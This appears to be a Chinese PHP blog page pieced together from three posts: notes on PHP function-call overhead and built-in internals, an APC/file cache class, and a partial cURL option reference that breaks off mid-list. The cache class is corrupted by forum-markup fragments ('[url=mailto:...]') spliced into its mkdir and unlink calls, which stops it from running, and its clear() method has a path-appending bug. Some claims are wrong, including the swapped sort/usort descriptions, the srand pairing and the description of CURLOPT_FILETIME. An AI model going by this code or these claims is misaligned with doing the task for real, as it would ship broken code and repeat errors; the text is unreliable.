如上所说,伪函数使用起来和标准的函数并无二致,看起来具有相同的特征。但是他们最终执行的时候是被zend反映成了一条对应的指令(opcode)来调用,因此其实现更接近于if、for、算术运算等操作。

  • php中的伪函数 
    isset 
    empty 
    unset 
    eval

通过上面的介绍可以看出,伪函数由于被直接翻译成指令来执行,和普通函数相比少了一次函数调用所带来的开销,因此性能会更好一些。我们通过如下测试来做一个对比。 Array_key_exists和isset两者都可以判断数组中某个key是否存在,看一下他们的性能

从图上可以看出,和array_key_exists相比,isset性能要高出很多,基本是前者的4倍左右,而即使是和空函数调用相比,其性能也要高出1倍左右。由此也侧面印证再次说明了php函数调用的开销还是比较大的。

常用php函数实现及介绍

 

count

count是我们经常用到的一个函数,其功能是返回一个数组的长度。

count这个函数,其复杂度是多少呢? 
一种常见的说法是count函数会遍历整个数组然后求出元素个数,因此复杂度是O(n)。那实际情况是不是这样呢?
我们回到count的实现来看一下,通过源码可以发现,对于数组的count操作,函数最终的路径是zif_count-> php_count_recursive-> zend_hash_num_elements,而zend_hash_num_elements的行为是 return ht->nNumOfElements,可见,这是一个O(1)而不是O(n)的操作。实际上,数组在php底层就是一个hash_table,对于hash表,zend中专门有一个元素nNumOfElements记录了当前元素的个数,因此对于一般的count实际上直接就返回了这个值。由此,我们得出结论: count是O(1)的复杂度,和具体数组的大小无关。

非数组类型的变量,count的行为时怎样?
对于未设置变量返回0,而像int、double、string等则会返回1


strlen

Strlen用于返回一个字符串的长度。那么,他的实现原理是如何的呢?
我们都知道在c中strlen是一个o(n)的函数,会顺序遍历字符串直到遇到\0,然后出长度。Php中是否也这样呢?答案是否定的,php里字符串是用一个复合结构来描述,包括指向具体数据的指针和字符串长度(和c++中string类似),因此strlen就直接返回字符串长度了,是常数级别的操作。
另外,对于非字符串类型的变量调用strlen,它会首先将变量强制转换为字符串再求长度,这点需要注意。


isset和array_key_exists

这两个函数最常见的用法都是判断一个key是否在数组中存在。但是前者还可以用于判断一个变量是否被设置过。
如前文所述,isset并非真正的函数,因此它的效率会比后者高很多。推荐用它代替array_key_exists。


array_push和array[]

两者都是往数组尾部追加一个元素。不同的是前者可以一次push多个。他们最大的区别在于一个是函数一个是语言结构,因此后者效率要更高。因此如果只是普通的追加元素,建议使用array []。


rand和mt_rand

两者都是提供产生随机数的功能,前者使用libc标准的rand。后者用了 Mersenne Twister 中已知的特性作为随机数发生器,它可以产生随机数值的平均速度比 libc 提供的 rand() 快四倍。因此如果对性能要求较高,可以考虑用mt_rand代替前者。
我们都知道,rand产生的是伪随机数,在C中需要用srand显示指定种子。但是在php中,rand会自己帮你默认调用一次srand,一般情况下不需要自己再显示的调用。
需要注意的是,如果特殊情况下需要调用srand时,一定要配套调用。就是说srand对于rand,mt_srand对应srand,切不可混合使用,否则是无效的。


sort和usort

两者都是用于排序,不同的是前者可以指定排序策略,类似我们C里面的qsort和C++的sort。
在排序上两者都是采用标准的快排来实现,对于有排序需求的,如非特殊情况调用php提供的这些方法就可以了,不用自己重新实现一遍,效率会低很多。原因见前文对于用户函数和内置函数的分析比对。


urlencode和rawurlencode

这两个都是用于url编码, 字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数。两者唯一的区别在于对于空格,urlencode会编码为+,而rawurlencode会编码为%20。
一般情况下除了搜索引擎,我们的策略都是空格编码为%20。因此采用后者的居多。
注意的是encode和decode系列一定要配套使用。


strcmp系列函数

这一系列的函数包括strcmp、strncmp、strcasecmp、strncasecmp,实现功能和C函数相同。但也有不同,由于php的字符串是允许\0出现,因此在判断的时候底层使用的是memcmp系列而非strcmp,理论上来说更快。
另外由于php直接能获取到字符串长度,因此会首先这方面的检查,很多情况下效率就会高很多了。


is_int和is_numeric

这两个函数功能相似又不完全相同,使用的时候一定需要注意他们的区别。
Is_int:判断一个变量类型是否是整数型,php变量中专门有一个字段表征类型,因此直接判断这个类型即可,是一个绝对O(1)的操作 
Is_numeric:判断一个变量是否是整数或数字字符串,也就是说除了整数型变量会返回true之外,对于字符串变量,如果形如”1234”,”1e4”等也会被判为true。这个时候会遍历字符串进行判断。


总结及建议

 

通过对函数实现的原理分析和性能测试,我们总结出以下一些结论

1. Php的函数调用开销相对较大。

2. 函数相关信息保存在一个大的hash_table中,每次调用时通过函数名在hash表中查找,因此函数名长度对性能也有一定影响。

3. 函数返回引用没有实际意义

4. 内置php函数性能比用户函数高很多,尤其对于字符串类操作。

5. 类方法、普通函数、静态方法效率几乎相同,没有太大差异

6. 除去空函数调用的影响,内置函数和同样功能的C函数性能基本差不多。

7. 所有的参数传递都是采用引用计数的浅拷贝,代价很小。

8. 函数个数对性能影响几乎可以忽略

因此,对于php函数的使用,有如下一些建议

1. 一个功能可以用内置函数完成,尽量使用它而不是自己编写php函数。

2. 如果某个功能对性能要求很高,可以考虑用扩展来实现。

3. Php函数调用开销较大,因此不要过分封装。有些功能,如果需要调用的次数很多本身又只用1、2行代码就行实现的,建议就不要封装调用了。

4. 不要过分迷恋各种设计模式,如上一条描述,过分的封装会带来性能的下降。需要考虑两者的权衡。Php有自己的特点,切不可东施效颦,过分效仿java的模式。

5. 函数不宜嵌套过深,递归使用要谨慎。

6. 伪函数性能很高,同等功能实现下优先考虑。比如用isset代替array_key_exists

7. 函数返回引用没有太大意义,也起不到实际作用,建议不予考虑。

8. 类成员方法效率不比普通函数低,因此不用担心性能损耗。建议多考虑静态方法,可读性及安全性都更好。

9. 如不是特殊需要,参数传递都建议使用传值而不是传引用。当然,如果参数是很大的数组且需要修改时可以考虑引用传递。

php - apc和文件缓存类

// 收集到的一篇不错的PHP缓存实现。实现了apc和文件缓存,继承Cache_Abstract即可实现调用第三方的缓存工具。

<?php
class CacheException extends Exception {}
/**
* 缓存抽象类
*/
abstract class Cache_Abstract {
/**
     * 读缓存变量
     *
     * @param string $key 缓存下标
     * @return mixed
     */
     abstract public function fetch($key);

/**
     * 缓存变量
     *
     * @param string $key 缓存变量下标
     * @param string $value 缓存变量的值
     * @return bool
     */
     abstract public function store($key, $value);

/**
     * 删除缓存变量
     *
     * @param string $key 缓存下标
     * @return Cache_Abstract
     */
     abstract public function delete($key);

/**
     * 清(删)除所有缓存
     *
     * @return Cache_Abstract
     */
     abstract public function clear();

/**
     * 锁定缓存变量
     *
     * @param string $key 缓存下标
     * @return Cache_Abstract
     */
     abstract public function lock($key);
/**
     * 缓存变量解锁
     *
     * @param string $key 缓存下标
     * @return Cache_Abstract
     */
     abstract public function unlock($key);
/**
     * 取得缓存变量是否被锁定
     *
     * @param string $key 缓存下标
     * @return bool
     */
     abstract public function isLocked($key);
/**
     * 确保不是锁定状态
     * 最多做$tries次睡眠等待解锁,超时则跳过并解锁
     *
     * @param string $key 缓存下标
     */
     public function checkLock($key) {
         if (!$this->isLocked($key)) {
         return $this;
         }
         
             $tries = 10;
             $count = 0;
             do {
                 usleep(200);
                 $count ++;
             } while ($count <= $tries && $this->isLocked($key));     // 最多做十次睡眠等待解锁,超时则跳过并解锁
             $this->isLocked($key) && $this->unlock($key);
             
             return $this;
     }
}

/**
* APC扩展缓存实现
*
*
* @category     Mjie
* @package     Cache
* @author         流水孟春
* @copyright     Copyright (c) 2008- <cmpan(at)qq.com>
* @license     New BSD License
* @version     $Id: Cache/Apc.php 版本号 2010-04-18 23:02 cmpan $
*/
class Cache_Apc extends Cache_Abstract {

protected $_prefix = 'cache.mjie.net';

public function __construct() {
     if (!function_exists('apc_cache_info')) {
     throw new CacheException('apc extension didn\'t installed');
     }
}

/**
     * 保存缓存变量
     *
     * @param string $key
     * @param mixed $value
     * @return bool
     */
public function store($key, $value) {
         return apc_store($this->_storageKey($key), $value);
}

/**
     * 读取缓存
     *
     * @param string $key
     * @return mixed
     */
public function fetch($key) {
         return apc_fetch($this->_storageKey($key));
}

/**
     * 清除缓存
     *
     * @return Cache_Apc
     */
public function clear() {
     apc_clear_cache();
     return $this;
}

/**
     * 删除缓存单元
     *
     * @return Cache_Apc
     */
public function delete($key) {
         apc_delete($this->_storageKey($key));
         return $this;
}

/**
     * 缓存单元是否被锁定
     *
     * @param string $key
     * @return bool
     */
public function isLocked($key) {
     if ((apc_fetch($this->_storageKey($key) . '.lock')) === false) {
         return false;
     }
     
     return true;
}

/**
     * 锁定缓存单元
     *
     * @param string $key
     * @return Cache_Apc
     */
public function lock($key) {
     apc_store($this->_storageKey($key) . '.lock', '', 5);
     return $this;
}

/**
     * 缓存单元解锁
     *
     * @param string $key
     * @return Cache_Apc
     */
public function unlock($key) {
     apc_delete($this->_storageKey($key) . '.lock');
     return $this;
}

/**
     * 完整缓存名
     *
     * @param string $key
     * @return string
     */
private function _storageKey($key) {
         return $this->_prefix . '_' . $key;
}
}
/**
* 文件缓存实现
*
*
* @category     Mjie
* @package     Cache
* @author         流水孟春
* @copyright     Copyright (c) 2008- <cmpan(at)qq.com>
* @license     New BSD License
* @version     $Id: Cache/File.php 版本号 2010-04-18 16:46 cmpan $
*/
class Cache_File extends Cache_Abstract {

protected $_cachesDir = 'cache';

public function __construct() {
     if (defined('DATA_DIR')) {
     $this->_setCacheDir(DATA_DIR . '/cache');
     }
}

/**
     * 获取缓存文件
     *
     * @param string $key
     * @return string
     */
protected function _getCacheFile($key) {
     return $this->_cachesDir . '/' . substr($key, 0, 2) . '/' . $key . '.php';
}
     /**
     * 读取缓存变量
     * 为防止信息泄露,缓存文件格式为php文件,并以"<?php exit;?>"开头
     *
     * @param string $key 缓存下标
     * @return mixed
     */
     public function fetch($key) {
             $cacheFile = self::_getCacheFile($key);
             if (file_exists($cacheFile) && is_readable($cacheFile)) {
                 return unserialize(@file_get_contents($cacheFile, false, NULL, 13));
             }
             return false;
     }
/**
     * 缓存变量
     * 为防止信息泄露,缓存文件格式为php文件,并以"<?php exit;?>"开头
     *
     * @param string $key 缓存变量下标
     * @param string $value 缓存变量的值
     * @return bool
     */
     public function store($key, $value) {
     $cacheFile = self::_getCacheFile($key);
     $cacheDir     = dirname($cacheFile);
     if(!is_dir($cacheDir)) {
         if([url=mailto:!@mkdir($cacheDir]!@mkdir($cacheDir[/url], 0755, true)) {
         throw new CacheException("Could not make cache directory");
         }
     }
             return @file_put_contents($cacheFile, '<?php exit;?>' . serialize($value));
}
/**
     * 删除缓存变量
     *
     * @param string $key 缓存下标
     * @return Cache_File
     */
     public function delete($key) {
         if(empty($key)) {
         throw new CacheException("Missing argument 1 for Cache_File::delete()");
     }
     
     $cacheFile = self::_getCacheFile($key);
     if([url=mailto:!@unlink($cacheFile]!@unlink($cacheFile[/url])) {
         throw new CacheException("Cache file could not be deleted");
     }
     return $this;
}
/**
     * 缓存单元是否已经锁定
     *
     * @param string $key
     * @return bool
     */
public function isLocked($key) {
     $cacheFile = self::_getCacheFile($key);
     clearstatcache();
     return file_exists($cacheFile . '.lock');
}
/**
     * 锁定
     *
     * @param string $key
     * @return Cache_File
     */
public function lock($key) {
     $cacheFile = self::_getCacheFile($key);
     $cacheDir     = dirname($cacheFile);
     if(!is_dir($cacheDir)) {
         if([url=mailto:!@mkdir($cacheDir]!@mkdir($cacheDir[/url], 0755, true)) {
         if(!is_dir($cacheDir)) {
                 throw new CacheException("Could not make cache directory");
         }
         }
     }
     // 设定缓存锁文件的访问和修改时间
     @touch($cacheFile . '.lock');
     return $this;
}
     
/**
     * 解锁
     *
     * @param string $key
     * @return Cache_File
     */
public function unlock($key) {
     $cacheFile = self::_getCacheFile($key);
         @unlink($cacheFile . '.lock');
     return $this;
}
/**
     * 设置文件缓存目录
     * @param string $dir
     * @return Cache_File
     */
protected function _setCacheDir($dir) {
     $this->_cachesDir = rtrim(str_replace('\\', '/', trim($dir)), '/');
     clearstatcache();
     if(!is_dir($this->_cachesDir)) {
     mkdir($this->_cachesDir, 0755, true);
     }
     //
     return $this;
}
     
/**
     * 清空所有缓存
     *
     * @return Cache_File
     */
public function clear() {
     // 遍历目录清除缓存
     $cacheDir = $this->_cachesDir;
     $d = dir($cacheDir);
     while(false !== ($entry = $d->read())) {
     if('.' == $entry[0]) {
     continue;
     }
     
     $cacheEntry = $cacheDir . '/' . $entry;
     if(is_file($cacheEntry)) {
     @unlink($cacheEntry);
     } elseif(is_dir($cacheEntry)) {
     // 缓存文件夹有两级
     $d2 = dir($cacheEntry);
     while(false !== ($entry = $d2->read())) {
         if('.' == $entry[0]) {
         continue;
         }
         
         $cacheEntry .= '/' . $entry;
         if(is_file($cacheEntry)) {
         @unlink($cacheEntry);
         }
     }
     $d2->close();
     }     
     }
     $d->close();
     
     return $this;
}
}
/**
* 缓存单元的数据结构
* array(
*         'time' => time(),     // 缓存写入时的时间戳
*         'expire' => $expire, // 缓存过期时间
*         'valid' => true,         // 缓存是否有效
*         'data' => $value         // 缓存的值
* );
*/
final class Cache {
/**
     * 缓存过期时间长度(s)
     *
     * @var int
     */
private $_expire = 3600;
/**
     * 缓存处理类
     *
     * @var Cache_Abstract
     */
private $_storage = null;
/**
         * @return Cache
         */
static public function createCache($cacheClass = 'Cache_File') {
     return new self($cacheClass);
}
private function __construct($cacheClass) {
     $this->_storage = new $cacheClass();
}
/**
     * 设置缓存
     *
     * @param string $key
     * @param mixed $value
     * @param int $expire
     */
public function set($key, $value, $expire = false) {
     if (!$expire) {
     $expire = $this->_expire;
     }
     
     $this->_storage->checkLock($key);
     
     $data = array('time' => time(), 'expire' => $expire, 'valid' => true, 'data' => $value);
     $this->_storage->lock($key);
     
     try {
     $this->_storage->store($key, $data);
     $this->_storage->unlock($key);
     } catch (CacheException $e) {
     $this->_storage->unlock($key);
     throw $e;
     }
}
/**
     * 读取缓存
     *
     * @param string $key
     * @return mixed
     */
public function get($key) {
     $data = $this->fetch($key);
     if ($data && $data['valid'] && !$data['isExpired']) {
     return $data['data'];
     }
     
     return false;
}
/**
     * 读缓存,包括过期的和无效的,取得完整的存贮结构
     *
     * @param string $key
     */
public function fetch($key) {
     $this->_storage->checkLock($key);
     $data = $this->_storage->fetch($key);
     if ($data) {
     $data['isExpired'] = (time() - $data['time']) > $data['expire'] ? true : false;
     return $data;
     }
     
     return false;
}
/**
     * 删除缓存
     *
     * @param string $key
     */
public function delete($key) {
     $this->_storage->checkLock($key)
                         ->lock($key)
                         ->delete($key)
                         ->unlock($key);
}

public function clear() {
     $this->_storage->clear();
}
/**
     * 把缓存设为无效
     *
     * @param string $key
     */
public function setInvalidate($key) {
     $this->_storage->checkLock($key)
                         ->lock($key);
     try {
     $data = $this->_storage->fetch($key);
     if ($data) {
     $data['valid'] = false;
     $this->_storage->store($key, $data);
     }
     $this->_storage->unlock($key);
     } catch (CacheException $e) {
     $this->_storage->unlock($key);
     throw $e;
     }
}

/**
     * 设置缓存过期时间(s)
     *
     * @param int $expire
     */
public function setExpire($expire) {
     $this->_expire = (int) $expire;
     return $this;
}
}

标签: 缓存, 变量, IT, 下标

PHP - 比较全的CURL中文说明

目前为目最全的CURL中文说明
了,学PHP的要好好掌握.有很多的参数.大部份都很有用.真正掌握了它和正则,一定就是个 采集高手了.

PHP
中的CURL函数
库(Client URL Library Function)

curl_close — 关闭一个curl会 话
curl_copy_handle — 拷贝一个curl连 接资源的所有内容和参数
curl_errno — 返回一个包含 当前会话错误信息的数字编号
curl_error — 返回一个 包含当前会话错误信息的字符串
curl_exec — 执行一个curl会 话
curl_getinfo — 获取一个curl连 接资源句柄的信息
curl_init — 初始化一个curl会 话
curl_multi_add_handle — 向curl批 处理会话中添加单独的curl句柄资源
curl_multi_close — 关闭一个批处理句柄资源
curl_multi_exec — 解析一个curl批处理句柄
curl_multi_getcontent — 返回获取的输出的文本流
curl_multi_info_read — 获取当前解析的curl的相关传输信息
curl_multi_init — 初始化一个curl批处理句柄资源
curl_multi_remove_handle — 移除curl批处理句柄资源中的某个句柄资源
curl_multi_select — Get all the sockets associated with the cURL extension, which can then be "selected"
curl_setopt_array — 以数组的形式为一个curl设置会话参数
curl_setopt — 为一个curl设置会话参数
curl_version — 获取curl相关的版本信息

curl_init()
函数的作用初始化一个curl会 话,curl_init()函数唯一的一个参数是可选的,表示一个url地址。
curl_exec()
函数的作用是执行一个curl会话,唯一的参数是curl_init()函数返回的句柄。
curl_close()函数的作用 是关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄。

<?php
$ch = curl_init("http://www.baidu.com/");
curl_exec($ch);
curl_close($ch);
?>

curl_version()函数的作用是获取curl相 关的版本信息,curl_version()函数有一个参数,不清楚是做什么的

<?php
print_r(curl_version())
?>

curl_getinfo()函数的作用是获取一个curl连 接资源句柄的信息,curl_getinfo()函数有两个参数,第一个参数是curl的资源句柄,第二个参数是下面一些常量:

<?php
$ch = curl_init("http://www.baidu.com/");
print_r(curl_getinfo($ch));
?>

可选的常量包括:

CURLINFO_EFFECTIVE_URL
最后一个有效的url地址

CURLINFO_HTTP_CODE
最后一个收到的HTTP代码

CURLINFO_FILETIME
远程获取文档的时间,如果无法获取,则返回值为“-1”

CURLINFO_TOTAL_TIME
最后一次传输所消耗的时间

CURLINFO_NAMELOOKUP_TIME
名称解析所消耗的时间

CURLINFO_CONNECT_TIME
建立连接所消耗的时间

CURLINFO_PRETRANSFER_TIME
从建立连接到准备传输所使用的时间

CURLINFO_STARTTRANSFER_TIME
从建立连接到传输开始所使用的时间

CURLINFO_REDIRECT_TIME
在事务传输开始前重定向所使用的时间

CURLINFO_SIZE_UPLOAD
上传数据量的总值

CURLINFO_SIZE_DOWNLOAD
下载数据量的总值

CURLINFO_SPEED_DOWNLOAD
平均下载速度

CURLINFO_SPEED_UPLOAD
平均上传速度

CURLINFO_HEADER_SIZE
header部分的大小

CURLINFO_HEADER_OUT
发送请求的字符串

CURLINFO_REQUEST_SIZE
在HTTP请求中有问题的请求的大小

CURLINFO_SSL_VERIFYRESULT
Result of SSL certification verification requested by setting CURLOPT_SSL_VERIFYPEER

CURLINFO_CONTENT_LENGTH_DOWNLOAD
从Content-Length: field中读取的下载内容长度

CURLINFO_CONTENT_LENGTH_UPLOAD
上传内容大小的说明

CURLINFO_CONTENT_TYPE
下载内容的“Content-type”值,NULL表 示服务器没有发送有效的“Content-Type: header”

curl_setopt()函数的作用是为一个curl设 置会话参数。curl_setopt_array()函数的作用是以数组的形式为一个curl设置 会话参数。

<?php
$ch = curl_init();
$fp = fopen("example_homepage.txt", "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
$options = array(
CURLOPT_URL => 'http://www.baidu.com/',
CURLOPT_HEADER => false
);
curl_setopt_array($ch, $options);
curl_exec($ch);
curl_close($ch);
fclose($fp);
?>

可设置的参数有:

CURLOPT_AUTOREFERER
自动设置header中的referer信 息

CURLOPT_BINARYTRANSFER
在启用CURLOPT_RETURNTRANSFER时候将获 取数据返回

CURLOPT_COOKIESESSION
启用时curl会仅仅传递一个session cookie,忽略其他的cookie,默认状况下curl会将所有的cookie返回给服务端。session cookie是指那些用来判断服务器端 的session是否有效而存在的cookie。

CURLOPT_CRLF
启用时将Unix的换行符转换成回车换行符。

CURLOPT_DNS_USE_GLOBAL_CACHE
启用时会启用一个全局的DNS缓存, 此项为线程安全的,并且默认为true。

CURLOPT_FAILONERROR
显示HTTP状态码,默认行为是忽略编号小于等于400的HTTP信 息

CURLOPT_FILETIME
启用时会尝试修改远程文档中的信息。结果信息会通过curl_getinfo()函数的CURLINFO_FILETIME选项返回。

CURLOPT_FOLLOWLOCATION
启用时会将服务器服务器返回的“Location:”放在header中递归的返回给服务器,使用CURLOPT_MAXREDIRS可以限定递归返回的 数量。

CURLOPT_FORBID_REUSE
在完成交互以后强迫断开连接,不能重用。

CURLOPT_FRESH_CONNECT
强制获取一个新的连接,替代缓存中的连接。

CURLOPT_FTP_USE_EPRT
TRUE to use EPRT (and LPRT) when doing active FTP downloads. Use FALSE to disable EPRT and LPRT and use PORT only.
Added in PHP 5.0.0.

CURLOPT_FTP_USE_EPSV
TRUE to first try an EPSV command for FTP transfers before reverting back to PASV. Set to FALSE to disable EPSV.

CURLOPT_FTPAPPEND
TRUE to append to the remote file instead of overwriting it.

CURLOPT_FTPASCII
An alias of CURLOPT_TRANSFERTEXT. Use that instead.

CURLOPT_FTPLISTONLY
TRUE to only list the names of an FTP directory.

CURLOPT_HEADER
启用时会将头文件的信息作为数据流输出。

CURLOPT_HTTPGET
启用时会设置HTTP的method为GET,因为GET是默认是,所以只在被修改的情况下使用。

CURLOPT_HTTPPROXYTUNNEL
启用时会通过HTTP代理来传输。

CURLOPT_MUTE
讲curl函数中所有修改过的参数恢复默认值。

CURLOPT_NETRC
在连接建立以后,访问~/.netrc文件获取用户名和密码信息连接远程站 点。

CURLOPT_NOBODY
启用时将不对HTML中的body部分进行输出。

CURLOPT_NOPROGRESS
启用时关闭curl传输的进度条,此项的默认设置为true

CURLOPT_NOSIGNAL
启用时忽略所有的curl传递给php进行的 信号。在SAPI多线程传输时此项被默认打开。

CURLOPT_POST
启用时会发送一个常规的POST请求,类型为:application/x-www-form-urlencoded,就像表单提交的一样。

CURLOPT_PUT
启用时允许HTTP发送文件,必须同时设置CURLOPT_INFILE和CURLOPT_INFILESIZE

CURLOPT_RETURNTRANSFER
讲curl_exec()获取的信息以文件流的形式返回, 而不是直接输出。

CURLOPT_SSL_VERIFYPEER
FALSE to stop cURL from verifying the peer's certificate. Alternate certificates to verify against can be specified with the CURLOPT_CAINFO option or a certificate directory can be specified with the CURLOPT_CAPATH option. CURLOPT_SSL_VERIFYHOST may also need to be TRUE or FALSE if CURLOPT_SSL_VERIFYPEER is disabled (it defaults to 2). TRUE by default as of cURL 7.10. Default bundle installed as of cURL 7.10.

CURLOPT_TRANSFERTEXT
TRUE to use ASCII mode for FTP transfers. For LDAP, it retrieves data in plain text instead of HTML. On Windows systems, it will not set STDOUT to binary mode.

CURLOPT_UNRESTRICTED_AUTH
在使用CURLOPT_FOLLOWLOCATION产生的header中 的多个locations中持续追加用户名和密码信息,即使域名已发生改变。

CURLOPT_UPLOAD
启用时允许文件传输

CURLOPT_VERBOSE
启用时会汇报所有的信息,存放在STDERR或 指定的CURLOPT_STDERR中

CURLOPT_BUFFERSIZE
每次获取的数据中读入缓存的大小,这个值每次都会被填满。

CURLOPT_CLOSEPOLICY
不是CURLCLOSEPOLICY_LEAST_RECENTLY_USED就是CURLCLOSEPOLICY_OLDEST,还存在另外三个,但是curl暂时还不支持。.

CURLOPT_CONNECTTIMEOUT
在发起连接前等待的时间,如果设置为0,则不等 待。

CURLOPT_DNS_CACHE_TIMEOUT
设置在内存中保存DNS信息的 时间,默认为120秒。

CURLOPT_FTPSSLAUTH
The FTP authentication method (when is activated): CURLFTPAUTH_SSL (try SSL first), CURLFTPAUTH_TLS (try TLS first), or CURLFTPAUTH_DEFAULT (let cURL decide).

CURLOPT_HTTP_VERSION
设置curl使用的HTTP协 议,CURL_HTTP_VERSION_NONE(让curl自己判断),CURL_HTTP_VERSION_1_0(HTTP/1.0),CURL_HTTP_VERSION_1_1(HTTP/1.1)

CURLOPT_HTTPAUTH
使用的HTTP验证方法,可选的值有:CURLAUTH_BASIC,CURLAUTH_DIGEST,CURLAUTH_GSSNEGOTIATE,CURLAUTH_NTLM,CURLAUTH_ANY,CURLAUTH_ANYSAFE,可以使用“|”操作符分隔多个值,curl让服务器选择一个支持最好的值,CURLAUTH_ANY等价于CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM,CURLAUTH_ANYSAFE等价于CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM

CURLOPT_INFILESIZE
设定上传文件的大小

CURLOPT_LOW_SPEED_LIMIT
当传输速度小于CURLOPT_LOW_SPEED_LIMIT时,PHP会根据CURLOPT_LOW_SPEED_TIME来判断是否因太慢而取消传输。

CURLOPT_LOW_SPEED_TIME
The number of seconds the transfer should be below CURLOPT_LOW_SPEED_LIMIT for PHP to consider the transfer too slow and abort.
当 传输速度小于CURLOPT_LOW_SPEED_LIMIT时,PHP会根据CURLOPT_LOW_SPEED_TIME来判断是否因太慢而取消传输。

CURLOPT_MAXCONNECTS
允许的最大连接数量,超过是会通过CURLOPT_CLOSEPOLICY决定应该停止哪些连接

CURLOPT_MAXREDIRS
指定最多的HTTP重定向的数量,这个选项是和CURLOPT_FOLLOWLOCATION一起使用的。

CURLOPT_PORT
一个可选的用来指定连接端口的量 

CURLOPT_PROXYAUTH
The HTTP authentication method(s) to use for the proxy connection. Use the same bitmasks as described in CURLOPT_HTTPAUTH. For proxy authentication, only CURLAUTH_BASIC and CURLAUTH_NTLM are currently supported.

CURLOPT_PROXYPORT
The port number of the proxy to connect to. This port number can also be set in CURLOPT_PROXY.

CURLOPT_PROXYTYPE
Either CURLPROXY_HTTP (default) or CURLPROXY_SOCKS5.

CURLOPT_RESUME_FROM
在恢复传输时传递一个字节偏移量(用来断点续传)

CURLOPT_SSL_VERIFYHOST
1 to check the existence of a common name in the SSL peer certificate.
2 to check the existence of a common name and also verify that it matches the hostname provided.

CURLOPT_SSLVERSION
The SSL version (2 or 3) to use. By default PHP will try to determine this itself, although in some cases this must be set manually.

CURLOPT_TIMECONDITION
如果在CURLOPT_TIMEVALUE指定的某个时间以后 被编辑过,则使用CURL_TIMECOND_IFMODSINCE返回页面,如果没有被修改过,并且CURLOPT_HEADER为true,则返回一个"304 Not Modified"的header,CURLOPT_HEADER为false,则使用CURL_TIMECOND_ISUNMODSINCE,默认值为CURL_TIMECOND_IFMODSINCE

CURLOPT_TIMEOUT
设置curl允许执行的最长秒数

CURLOPT_TIMEVALUE
设置一个CURLOPT_TIMECONDITION使用的时间戳,在默认状态下使用的是CURL_TIMECOND_IFMODSINCE

CURLOPT_CAINFO
The name of a file holding one or more certificates to verify the peer with. This only makes sense when used in combination with CURLOPT_SSL_VERIFYPEER.

CURLOPT_CAPATH
A directory that holds multiple CA certificates. Use this option alongside CURLOPT_SSL_VERIFYPEER.

CURLOPT_COOKIE
设定HTTP请求中“Set-Cookie:”部分的内容。

CURLOPT_COOKIEFILE
包含cookie信息的文件名称,这个cookie文件可以是Netscape格式或者HTTP风格的header信息。

CURLOPT_COOKIEJAR
连接关闭以后,存放cookie信息的文件名称

CURLOPT_CUSTOMREQUEST
A custom request method to use instead of "GET" or "HEAD" when doing a HTTP request. This is useful for doing "DELETE" or other, more obscure HTTP requests. Valid values are things like "GET", "POST", "CONNECT" and so on; i.e. Do not enter a whole HTTP request line here. For instance, entering "GET /index.html HTTP/1.0\r\n\r\n" would be incorrect.
Note: Don't do this without making sure the server supports the custom request method first.

CURLOPT_EGBSOCKET
Like CURLOPT_RANDOM_FILE, except a filename to an Entropy Gathering Daemon socket.

CURLOPT_ENCODING
header中“Accept-Encoding: ”部分的内容,支持的编码格式为:"identity","deflate","gzip"。如果设置为空字符串,则表示支持所有的编码格式

CURLOPT_FTPPORT
The value which will be used to get the IP address to use for the FTP "POST" instruction. The "POST" instruction tells the remote server to connect to our specified IP address. The string may be a plain IP address, a hostname, a network interface name (under Unix), or just a plain '-' to use the systems default IP address.

CURLOPT_INTERFACE
在外部网络接口中使用的名称,可以是一个接口名,IP或者主机 名。

CURLOPT_KRB4LEVEL
KRB4(Kerberos 4)安全级别的设置,可以是一下几个值之一:"clear","safe","confidential","private"。默认的值为"private",设置为null的时候表示禁用KRB4,现在KRB4安全 仅能在FTP传输中使用。

CURLOPT_POSTFIELDS
在HTTP中的“POST”操作。如果要传送一个文件,需要一个@开头的文件 名

CURLOPT_PROXY
设置通过的HTTP代理服务器

CURLOPT_PROXYUSERPWD
连接到代理服务器的,格式为“[username]:[password]”的用户名和密码。

CURLOPT_RANDOM_FILE
设定存放SSL用到的随机数种子的文件名称

CURLOPT_RANGE
设置HTTP传输范围,可以用“X-Y”的形式设置一个传输区间,如果有多个HTTP传 输,则使用逗号分隔多个值,形如:"X-Y,N-M"。

CURLOPT_REFERER
设置header中"Referer: " 部分的值。

CURLOPT_SSL_CIPHER_LIST
A list of ciphers to use for SSL. For example, RC4-SHA and TLSv1 are valid cipher lists.

CURLOPT_SSLCERT
传递一个包含PEM格式证书的字符串。

CURLOPT_SSLCERTPASSWD
传递一个包含使用CURLOPT_SSLCERT证书必需的密码。

CURLOPT_SSLCERTTYPE
The format of the certificate. Supported formats are "PEM" (default), "DER", and "ENG".

CURLOPT_SSLENGINE
The identifier for the crypto engine of the private SSL key specified in CURLOPT_SSLKEY.

CURLOPT_SSLENGINE_DEFAULT
The identifier for the crypto engine used for asymmetric crypto operations.

CURLOPT_SSLKEY
The name of a file containing a private SSL key.

CURLOPT_SSLKEYPASSWD
The secret password needed to use the private SSL key specified in CURLOPT_SSLKEY.
Note: Since this option contains a sensitive password, remember to keep the PHP script it is contained within safe.

CURLOPT_SSLKEYTYPE
The key type of the private SSL key specified in CURLOPT_SSLKEY. Supported key types are "PEM" (default), "DER", and "ENG".

CURLOPT_URL
需要获取的URL地址,也可以在PHP的curl_init()函数中设置。

CURLOPT_USERAGENT
在HTTP请求中包含一个”user-agent”头的字符串。

CURLOPT_USERPWD
传递一个连接中需要的用户名和密码,格式为:“[username]:[password]”。

CURLOPT_HTTP200ALIASES
设置不再以error的形式来处理HTTP 200的响应,格式为一个数组。

CURLOPT_HTTPHEADER
设置一个header中传输内容的数组。

CURLOPT_POSTQUOTE
An array of FTP commands to execute on the server after the FTP request has been performed.

CURLOPT_QUOTE
An array of FTP commands to execute on the server prior to the FTP request.

CURLOPT_FILE
设置输出文件的位置,值是一个资源类型,默认为STDOUT (浏览器)。

CURLOPT_INFILE
在上传文件的时候需要读取的文件地址,值是一个资源类型。

CURLOPT_STDERR
设置一个错误输出地址,值是一个资源类型,取代默认的STDERR。

CURLOPT_WRITEHEADER
设置header部分内容的写入的文件地址,值是一个资源类型。

CURLOPT_HEADERFUNCTION
